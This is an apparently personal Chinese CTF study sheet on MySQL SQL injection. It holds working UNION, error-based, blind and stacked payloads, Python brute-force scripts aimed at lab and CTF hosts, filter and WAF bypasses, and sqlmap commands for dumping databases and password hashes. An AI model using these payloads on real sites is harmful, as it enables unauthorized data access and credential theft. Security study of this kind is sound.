sql注入漏洞是指在执行sql语句时,未对用户输入的参数没有经过严格的过滤处理,通过构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
sql注入分类 按照查询类型 => 字符型,数字型
按照注入方式分类
判断为数字型还是字符型 用id=1 and 1=1 和 id=1 and 1=2
提交and 1=1和提交 1=2都能正常显示界面,则不可能是数字型注入,即为字符型注入
提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,判断为数字型注入
用引号报错来判断
看报错这样根据报错信息还能确定如果是字符型 需要怎么去闭合前面的引号
首尾两个引号为报错带的,所以闭合方式为一个单引号
其他还有以下几种闭合方式
闭合的作用 手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数,不需要的语句可 以用注释符号--+或#或%23注释掉
常用函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 database()查询数据库名 group_cancat()把结果输出到一行 concat()合并字符串 rand()随机返回0~1之间的小数 floor()向下取整 ceiling()向上取整 concat_ws()将括号内的值用第一个字段 group by 分组语句,常用于结合统计函数,根据一个或多个列,对结果集进行分组 as 别名 count()汇总统计数量 substr()/substring()控制字符输出长度 limit()用于显示指定行数 ascii()将字母转换为对应的ascii码 sleep()休眠指定时间 load_file()加载本地文件系统中的文件,并将其作为字符串返回 extractvalue()对XML文件进行查询,会返回目标XML文件中所包含查询之的字符串 updatexml()修改XML文件 addslashes()在指定的预定义字符进行转义
union联合注入 因为在使用union联合注入时要保证select语句列数一致
使用得通过group by 与 order by判断列的数量(二分法
1 2 id=1' group by 4;--+ id=1' order by 4;--+
判断回显位
要使id=-1来使前面为空错误,然后显示我们后面的select
1 ?id=-1' union select 1,2,3;
观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句。
在查询表名与列名时使用information_schema数据库,在其中有tables与clolumns两个表 其中tables是所有表名集合columns是所有列名集合
有些题目flag不在当前数据库
所以得查询有哪些库
1 union select schema_name from information_schema.schemata
查询当前数据库中有哪些表
1 union select group_concat(table_name) from information_schema.tables where table_schema=database();
意思为从information_schema这个数据库的tables这个表中搜索table_name条件为table_schema等于当前数据库
查询当前数据库中users这个表有哪些列名
1 select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';
从user表中查询username与password
1 select group_concat(username,'~',password) from user;
常见报错注入
extractvalue函数的作用是对XML文档进行查询,使用extractvalue(xml_frag,xpath_expr)函数时,如果 xpath_expr参数不符合xpath的格式,就会报错,所以我们就可以在xpath_expr中放我们所需要的语句从而实现
xml_frag:XML文档对象的名称,是一个string类型 xpath_expr:使用xpath语法格式的路径
1 2 3 union select 1,2,extractvalue(1,concat('~',(select 1,2,database()))) #列数看情况 and 1=extractvalue(1,concat('~',(select 1,2,database()))) #列数看情况 1^extractvalue(1,concat('~',(select 1,2,database())))
后面操作同union联合注入
==ps:==只能报32位,32位后用substring(concat(),32,32)或right(password,30)或mid(group_concat(flag),1,20)
updatexml报错注入 updatexml函数的作用是对XML文档进行修改,注入原理与extractvalue一样
xml_target:xml文档对象的名称,是一个string类型 xpath_expr:使用xpath的语法格式的路径 new_xml:需要更新的内容
1 2 3 union select 1,2,updatexml(1,concat('~',(select 1,2,database(),1)),1)#列数看情况 and 1=updatexml(1,concat(0x7e,(select database())),1)
==ps:==依旧只能报32位,32位后用substring(concat(),32,32)
floor报错注入 当group by写入键值的速度跟不上rand()函数运行速度的时候,在临时的虚拟统计表内 会发生写入主键重复的情况,从而引起报错
简而言之就是rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
1 select count(*),concat_ws('~',(select database()),floor(rand(0)*2))as a from users group by a;
将from users,替换from information_schema.tables在这的作用是让rand()产生足够多次数的计算,一般使用行数比较多 的默认数据表
使用group_concat无法显示的时候可以尝试concat
非常见报错注入 gtid一类报错注入 (MySQL >= 5.6.X - 显错<=200)
包括函数gtid_subset,gtid_subtract
1 1 ' AND gtid_subset((SELECT password FROM users LIMIT 0,1),1) AND ' 1 '=' 1
堆叠注入 ==使用条件:==调用数据库函数支持执行多条SQL语句时才能够使用,利用mysqli_multi_query()函数就支持多条SQL语句同时执行 堆叠注入和union的区别在于,union后只能接select 而堆叠注入后面可以使用insert,update,create,delete等其他数据库语句
1 2 3 4 5 show databases;show tables from text;show columns from FlagHere;handler `1919810931114514 ` open as `a`; handler `a` read next;
二次注入 实行二次注入的先决条件是:我们已经将构造的恶意数据存储在数据库当中 当我们储存的恶意数据被读取进入到SQL查询语句时,会造成二次注入
防御者可能在用户输入数据时对特殊字符进行了转义处理,但是恶意数据插入到数据库后被处理的恶意数据又被还原了
当web程序调用恶意数据进行SQL查询时,发生二次注入
1 用户名1 'union select database()#
SQL注入思路之文件上传 ==使用前提:==当前web的MySQL开放文件路径读写的权限
1 show variables like '%secure%' ;用来查看mysql是否具有文件读写权限
该利用点需要配合文件上传漏洞一起使用,当攻击目标开放文件上传功能时,我们可以利用SQL当中的相关函数进行恶意的文件上传
DNSlog手注 DNSlog实际上算是盲注的一种,但其效率比布尔和时间盲注的要来的高 使用前提:当前web的MySQL开放文件路径读写的权限
相关函数:load_file()读取文件(可以为一个远程地址
在访问时会先会执行select database()然后带着结果进行dns查询,所以查看dns解析记录即可
盲注 页面没有回显位且没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入
常用函数
1 2 3 ascii //转为ascii count//数量 length//长度
但是又有一个小知识点MySQL 默认字符集比较是大小写不敏感的
CHAR / VARCHAR 字段默认使用 utf8_general_ci 或其他 _ci 结尾的字符集。_ci 意思是 Case Insensitive(大小写不敏感) 。所以 'U' = 'u' 返回 TRUE。 所以在 SQL语句 中用 BINARY 强制区分大小写
布尔盲注 页面只返回true与false两种
利用页面返回不同,逐个猜解数据
如下get
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = 'http://127.0.0.1:8080/Less-8/' database = '' for i in range (1 , 100 ): for j in range (32 , 127 ): payload = url + f'?id=1\' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i} ,1))={j} --+' response = requests.get(payload).text if 'You' in response: database += chr (j) print (database) break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests,string,timeurl = 'http://172.72.0.1:56276/' result = '' for i in range (1 ,100 ): print (f'[+] Bruting at {i} ' ) for c in string.ascii_letters + string.digits + '_-{}' : print ('[+] Trying:' , c) tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))' char = f'(ord(mid({tables} ,{i} ,1)))' b = f'(({char} )in({ord (c)} ))' p = f'Alice\'and({b} )#' res = requests.get(url, params={'student_name' : p}) print (p) if 'Alice' in res.text: print ('[*]bingo:' ,c) result += c print (result) break
如下post
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl = 'http://127.0.0.1:8080/Less-15/' database = '' for i in range (1 , 100 ): for j in range (32 , 127 ): payload = f'1\' or ascii((select count(schema_name) from information_schema.schemata))={j} #' data = {'passwd' :'1' , 'uname' :payload} response = requests.post(url=url, data=data).text if 'flag' in response: database += chr (j) print (database) break
时间盲注 前提为数据库会执行命令代码只是不反馈页面信息
页面没有变化,所以通过sleep的时间来判断
sleep被禁用benchmark(100000, SHA1("jaduiwq"));
或者笛卡尔
1 2 3 4 5 6 7 笛卡尔积(因为连接表是一个很耗时的操作) AxB=A和B中每个元素的组合所组成的集合,就是连接表 SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; select * from table_name A, table_name B select * from table_name A, table_name B,table_name C select count(*) from table_name A, table_name B,table_name C 表可以是同一张表
通常使用character_sets(41行)和collations(222行)这两张表的效果较好,因为相较于我们熟悉的information_schema.columns,这两张表的数据量相对稳定,而不同数据库的information_schema.columns中的columns数量不稳定,有的多有的少,过多则会引起数据库崩溃,过少则无法实现延时的目的
如下get
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import timeimport requests url = 'http://127.0.0.1:8080/Less-10/' database_name = "" for i in range (1 , 100 ): for j in range (32 , 128 ): payload = url + f"?id=1\" and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i} ,1))={j} ,sleep(1.5),sleep(0))--+" start_time = time.time() response = requests.get(payload).text end_time = time.time() use_time = end_time - start_time if use_time >= 1.5 : database_name += chr (j) print (database_name)
等号被过滤用二分法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import timeimport requests url = 'http://8c6872cb-c952-48d0-a1d4-e966d332a5b3.node5.buuoj.cn:81/' database_name = "" for i in range (1 , 100 ): left = 32 right = 128 mid = (left + right) // 2 while left < right: payload = url + f"?id=1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i} ,1))>{mid} ,sleep(2),0)#" start_time = time.time() r = requests.get(payload).text end_time = time.time() use_time = end_time - start_time if use_time > 2 : left = mid + 1 else : right = mid mid = (left + right) // 2 database_name += chr (mid) print (database_name)
绕过及一些知识点 过滤空格 1 /**/,%0a,%a0,%20,%09,%0c,%0b,%0d
或者报错注入
1 2 3 4 5 6 7 8 9 10 1 'or(updatexml(1,concat(0x7e,(database())),1))# 1' or (extractvalue(1 ,concat(0x7e ,(database()))))#1 'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(' geek')))))# 1' or (extractvalue(1 ,concat(0x7e ,(select (group_concat(column_name))from (information_schema.columns)where (table_name)like ('H4rDsq1' )))))#1 'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))# 1' or (extractvalue(1 ,concat(0x7e ,(select (right (password,30 ))from (H4rDsq1)))))#/ / 后30 位
过滤引号 使用16进制绕过
会使用到引号的地方一般是在最后的where子句中。如下面的一条SQL语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
1 select column_name from information_schema.tables where table_name= "users"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users的十六进制的字符串是7573657273。那么最后的SQL语句就变为了:
1 select column_name from information_schema.tables where table_name= 0x7573657273 `
过滤select,union 1 2 3 4 5 UNION SELECT 1 ,2 ,3 UN<> ION SEL<> ECT 1 ,2 ,3
如果是union select尝试堆叠注入用show最后读数据handler
1 2 3 show databases; show tables from text; show columns from FlagHere;
如**[强网杯 2019]随便注**
1 2 handler `1919810931114514` open as `a`; handler `a` read next;
==mysql8新特性==:引入了table与values TABLE statement 与SELECT相似,作用是列出表中所有内容
1 TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
如下显示的 union是 等效于以下语句:
1 2 3 4 5 6 7 8 9 10 11 12 mysql> SELECT * FROM t1 UNION SELECT * FROM t2; table t`简单理解成`select * from t mysql> TABLE t1 UNION TABLE t2; +---+----+ | a | b | +---+----+ | 2 | 10 | | 5 | 3 | | 7 | 8 | +---+----+ 3 rows in set (0.00 sec)
与SELECT的区别 :
1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
可以用来获取所有表名
1 table information_schema.schemata;
Values statement VALUES是一个 DML 语句,它 以表形式返回一组一行或多行。换句话说,它 是一个表值构造函数,也可以作为一个独立的 SQL 语句。
参考官方文档
1 2 3 4 5 6 7 8 9 10 11 VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...] value_list: value[, value][, ...] column_designator: column_index
举例:
1 2 3 4 5 6 7 8 9 mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8) ORDER BY column_1; +----------+----------+----------+ | column_0 | column_1 | column_2 | +----------+----------+----------+ | 1 | -2 | 3 | | 4 | 6 | 8 | | 5 | 7 | 9 | +----------+----------+----------+ 3 rows in set (0.00 sec)
同时VALUES也可以与 select 语句或 table语句联合使用。 可用来判断列数,报错说明列数不对,可以代替order by进行列数盲注
1 select * from table where id=1 union values row(1,2,3)
盲注 因为table不能控制列数,所以如果列数不一样需要盲注
使用如下语句,盲注比较顺序是自左到右,是两个元组进行比较: 比如:(id, user ,passwd) 和 (1 , ‘Tom’, ‘123’ )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 select ((1,'','')<(table user limit 1)); +-----------------------------------+ | ((1,'','')<(table users limit 1)) | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set (0.00 sec) select ((2,'','')<(table user limit 1)); +-----------------------------------+ | ((2,'','')<(table user limit 1)) | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.00 sec) select ((1,'T','')<(table user limit 1)); +-----------------------------------+ | ((1, 'T','')<(table useR limit 1)) | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.00 sec)
注意判断的时候后一个列名一定要用字符表示,不能用数字,不然判断到前一个最后一个字符会判断不出
例题,脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 import requestsimport timeimport stringurl = 'http://127.0.0.1:8080/' chars="0123456789_abcdefghijklmnopqrstuvwxyz{}!?" def str2hex (name ): res = '' for i in name: res += hex (ord (i)) res = '0x' + res.replace('0x' ,'' ) return res def dbs (): for num in range (10 ): i = 0 j = 0 db = '' while True : head = 32 tail = 127 i += 1 while head < tail: j += 1 mid = (head + tail) //2 payload = f"1 and ('def',{str2hex(db+chr (mid))} ,'',4,5,6)>(table information_schema.schemata limit " +str (num)+",1)--+" param = "?id=" + payload r = requests.get(url+param) if "psych" in r.text: tail = mid else : head = mid+1 if head != 32 : if ( chr (head-1 )==' ' and db[-1 ]==' ' ): break db+= chr (head-1 ) print (db) else : break def tables_n (): database='cnss' payload = "1 and ('def','" +database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+" for i in range (0 ,10000 ): payloads = payload.format (i) urls = url +"?id=" + payloads r = requests.get(url=urls) if 'psych' in r.text: char = chr (ord (database[-1 ])+1 ) database = database[0 :-1 ]+char payld = "1 and ('def','" +database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit " +str (i)+",1)--+" urls = url + "?id=" +payld res = requests.get(url=urls) if 'psych' not in res.text: print ('从第' ,i,'行开始爆数据表' ) n = i return n def tables (): num=322 database='cnss' table = '' i = 0 j = 0 while True : head = 32 tail = 127 i += 1 while head < tail: j += 1 mid = (head + tail) //2 payload = f"1 and ('def','{database} ',{str2hex(table+chr (mid))} ,'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit " +str (num)+",1)--+" param = "?id=" + payload r = requests.get(url+param) if "psych" in r.text: tail = mid else : head = mid+1 if head != 32 : if (chr (head-1 )==' ' and table[-1 ]==' ' ): break table+= chr (head-1 ) print (table) else : break def columns_n (): database='cnss' table='cn55' payload = "1 and ('def','" +database+"','" +table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+" for i in range (3400 ,10000 ): payloads = payload.format (i) urls = url + "?id=" +payloads r = requests.get(url=urls) if 'psych' in r.text: char = chr (ord (table[-1 ])+1 ) table = table[0 :-1 ]+char payld = "1 and ('def','" +database+"','" +table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit " +str (i)+",1)--+" urls = url + "?id=" +payld res = requests.get(url=urls) if 'psych' not in res.text: print ('从第' ,i,'行开始爆字段' ) n = i return n def columns (): num=3355 database='cnss' table='cn55' column = '' i = 0 j = 0 while True : head = 20 tail = 127 i += 1 while head < tail: j += 1 mid = (head + tail) //2 payload = f"1 and ('def','cnss','cn55',{str2hex(column+chr (mid))} ,'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit " +str (num)+",1)--+" param = "?id=" + payload r = requests.get(url+param) if "psych" in r.text: tail = mid else : head = mid+1 if head != 32 : if (chr (head-1 )==' ' and column[-1 ]==' ' ): break column+= chr (head-1 ) print (column) else : break def datas (): database='cnss.' table=database+'cn55' column = '' num=7 i = 0 j = 0 while True : head = 32 tail = 127 i += 1 while head < tail: j += 1 mid = (head + tail) //2 payload = f"1 and ('{num+1 } ',binary'{column+chr (mid)} ')>(table {table} limit " +str (num)+",1)--+" param = "?id=" + payload r = requests.get(url+param) if "psych" in r.text: tail = mid else : head = mid+1 if head != 32 : column+= chr (head-1 ) print (column) else : break if __name__ == '__main__' : datas()
采用二分法来提高盲注速度,但同样有缺点,当数据库不区分大小写时,盲注的结果会出错,我的解决办法是,使用binary字段来区分大小写。
大小写的问题。在对最后数据表的字段爆破的时候,最好加上binary,我猜测可能是因为这个:
lower_case_table_names 的值:
如果设置为 0,表名将按指定方式存储,并且在对比表名时区分大小写。 如果设置为 1,表名将以小写形式存储在磁盘上,在对比表名时不区分大小写。 如果设置为 2,则表名按给定格式存储,但以小写形式进行比较。 此选项还适用于数据库名称和表别名。有关其他详细信息,请参阅第 9.2.3 节 “标识符区分大小写”。
由于 MySQL 最初依赖于文件系统来作为其数据字典,因此默认设置是依赖于文件系统是否 区分大小写。
在 Windows 上,默认值为 1。在 macOS 上,默认值是 2。在 Linux 上,不支持值 2;服 务器会将该值设置为 0。
因为题目大多是在linux上,所以这个的值为0,所以爆表名库名之类的时候,即使不加上binary,也会区分大小写,但是对于真正的数据表,如果不加上binary的话,是不区分大小写的,所以会出问题。
1.判断列数
使用order by语句判断:
1 2 1 order by 2--+ 1 order by 3--+
2.使用values判断回显位
1 -1 union values row(1,2)--+
3.爆库爆表爆字段爆数据
1 and (‘def’,’m’,’’,4,5,6)<=(table information_schema.schemata limit 0,1)–+ #回显正常 1 and (‘def’,’n’,’’,4,5,6)<=(table information_schema.schemata limit 0,1)–+ #回显错误 得到第1个数据库名的第一个字符为m
1 2 3 4 5 6 7 8 #### 4. 爆数据表 `information_schema.tables`表有21列 ```sql 1 and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 310,1)--+ #第一个表users 1 and ('def','security','secret','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 311,1)--+ #第二个表secret
前两个字段都是确定的,第二个是数据库名。
注意:还需要爆破数据表所在的行也就是 limit 310
5. 爆字段名
information_schema.columns表有22列 ,方法和上面一样,同样需要爆破数据列所在的行数
1 2 3 4 1 and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3380,1)--+ #users表第一个字段为id 1 and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3381,1)--+ #users表,第二个字段为username
6. 爆数据
通过limit控制数据的行
1 2 3 #table users limit 1也就是table users limit 0,1 #1 and (1,'d','')<=(table users limit 0,1)--+ #正常 #1 and (1,'e','')<=(table users limit 0,1)--+ #错误
过滤注释符 过滤and,or 大小写绕过如?id=1' anD 1=1--+
复写?id=1' anandd 1=1--+
&&代替and
||代替or
宽字节绕过addslashes() GBKB编码 GBK编码,是在GB2312-80标准基础上的内码扩展规范,使用了双字节编码方案,其编码范围从 8140至FEFE(剔除xx7F),首节在81-FE之间,尾字节在40-FE之间,共23940个码位,共收录 了21003个汉字,完全兼容GB2312-80标准,支持国际标准ISO/IEC10646-1和国家标准GB13000-1 中的全部中日韩汉字,并包含了BIG5编码中的所有汉字 字符\的ASCII码为5C,在其低位范围内,就可能被转换为一个服务器数据库不识别的汉字,能和 它组合的字符如0xdf,%815c.%825c%835c等都可以进行宽字节注入。 Mysql在使用GBK编码的时候,会认为两个字符为一个汉字,所以可以使用一些字符,和经过转义 过后多出来的组合成两个字符,变成Mysql数据库不识别的汉字字符,导致对单引号、双引号的 转义失败,使其参数闭合。 输入%df,本来会转义单引号’为,但(%5c)编码位为92,%df的编码位为223, %df%5c符合GBK取值范围(第一个字节129-254,第二个字节64-254),会解析为一个汉字,这 样\就会失去应有的作用 ==ps:==宽字节注入的前提:对方Mysql数据库的编码方式是GBK编码,并且发送请求时声明客户端用的也是GBK 编码
在前面加%df
对返回进行限制绕过 返回逻辑
1 2 3 4 if (!preg_match ('/flag|[0-9]/i' , json_encode ($ret ))){ $ret ['msg' ]='查询成功' ; }
利用REPLACE(string, old_substring, new_substring)
payload如replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p')
联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据 例如 [GXYCTF2019]BabySQli
去重复替换union select 在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截
1 2 select * from users where id=-1 union distinct select 1,2,3,4 from users; select * from users where id=-1 union distinct select 1,2,3,version() from users;
使用 join 绕过逗号 使用 join 自连接两个表
变为
1 union select * from (select 1 )a join (select 2 )b
a 和 b 分别是表的别名
1 2 3 select * from users where id=-1 union select 1,2,3,4; select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join(select 4)d; select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c join(select 4)d;
可以看到这里也没有使用逗号,从而绕过 waf 对逗号的拦截。
获得表名 sys.schema_auto_increment_columns 在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。
可以看出不仅保存了表名和数据库名,还保存了自增字段的列名。 所以当我们通过database()获得数据库名后就可以利用这个视图去获得带有自增列的表名和列名。
schema_table_statistics_with_buffer
schema_table_statistics
schema_index_statistics
mysql.innodb_table_stats
==mysql8新增==:information_schema.TABLESPACES_EXTENSIONS
从mysql8.0.21开始出现的,但是table关键字是出现在8.0.19之后,所以如果想要使用,还是要试试这个表有没有,如果题目的mysql版本正好在8.0.19-8.0.21之间的话,就不能用了。
这个表好用就好用在,它直接存储了数据库和数据表:
1 2 3 4 5 6 7 8 9 10 11 12 13 mysql> table information_schema.TABLESPACES_EXTENSIONS; +------------------+------------------+ | TABLESPACE_NAME | ENGINE_ATTRIBUTE | +------------------+------------------+ | mysql | NULL | | innodb_system | NULL | | innodb_temporary | NULL | | innodb_undo_001 | NULL | | innodb_undo_002 | NULL | | sys/sys_config | NULL | | users/users | NULL | +------------------+------------------+ 7 rows in set (0.00 sec)
看到最后的users/users,因为我创建了一个users数据库,里面有users数据表。所以有了这个,就会方便很多。
jion报错获取列名 这一部分要依赖于重复的列名导致的报错,从而获得列名。 构造要依赖于上文得到的表名信息 假设已经获得了security的一个表名为user
1 2 select * from (select * from users as a join users b)c; ERROR 1060 (42S21): Duplicate column name 'id'
可以得到一个列名id,接下来添加using(已经获得的列名1,已经获得的列名2)就可以获得其他列名
1 2 3 4 5 6 mysql> select * from (select * from users as a join users b using(id))c; ERROR 1060 (42S21): Duplicate column name 'username' 得到username mysql> select * from (select * from users as a join users b using(id,username))c; ERROR 1060 (42S21): Duplicate column name 'password' 得到password
如果没有报错,表示已经获得所有的列名 查询会得到所有的数据
无列名注入 1 1 ' union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from users)a),3
通过regexp来猜解数据 例题:[NCTF2019]SQLi
payload
1 select * from users where username= '\' and passwd= '||/**/passwd/**/regexp/**/"^a";
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import stringimport requestsfrom urllib import parsepasswd = '' string= string.ascii_lowercase + string.digits + '_' url = 'http://15f12b34-dce6-486a-8fce-2bb86508c417.node3.buuoj.cn/index.php' for n in range (100 ): for m in string: data = { "username" :"\\" , "passwd" :"||/**/passwd/**/regexp/**/\"^{}\";{}" .format ((passwd+m),parse.unquote('%00' )) } res = requests.post(url,data=data) if 'welcome' in res.text: passwd += m print (m) break if m=='_' and 'welcome' not in res.text: break print (passwd)
通过ascii位移来获得flag 1 2 3 4 5 6 7 8 9 10 11 12 select (select "a") > (select "abcdef") 0 select (select "b") > (select "abcdef") 1 这里能发现 是通过比对 首个字符的ascii 如果小于等于 就输出 0 大于就输出 1 select (select "ab") > (select "abcdef") 0 select (select "ac") > (select "abcdef") 1
工具 sqlmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 快速入门;SQLmap(常规)使用步骤 1、检测「注入点」 sqlmap -u 'http://xx/?id=1' 2、查看所有「数据库」 sqlmap -u 'http://xx/?id=1' --dbs 3、查看当前使用的数据库 sqlmap -u 'http://xx/?id=1' --current-db 4、查看「数据表」 sqlmap -u 'http://xx/?id=1' -D 'security' --tables 5、查看「字段」 sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables 6、查看「数据」 sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 post请求 检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。 -r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。 sqlmap -r bp.txt --data 这种不需要将数据进行保存,我们只需要将post数据复制下来 sqlmap -u --data="key=value" 5、cookie注入 --cookie 指定cookie的值,单/双引号包裹。 sqlmap -u "http://xx?id=x" --cookie 'cookie'
1 2 3 4 5 6 7 8 9 获取用户 6.1、获取当前登录数据库的用户 sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user 6.2、获取所有用户 --users 获取数据库的所有用户名。 sqlmap -u 'http://xx/?id=1' --users
1 2 3 4 5 获取用户密码 --passwords 获取所有数据库用户的密码(哈希值)。 数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。
1 2 3 4 5 6 WAF绕过 --tamper 指定绕过脚本,绕过WAF或ids等。 sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py' SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 其他 --batch (默认确认)不再询问是否确认。 --method=GET 指定请求方式(GET/POST) --random-agent 随机切换UA(User-Agent) --user-agent ' ' 使用自定义的UA(User-Agent) --referer ' ' 使用自定义的 referer --proxy="127.0.0.1:8080" 指定代理 --threads 10 设置线程数,最高10 --level=1 执行测试的等级(1-5,默认为1,常用3) --risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。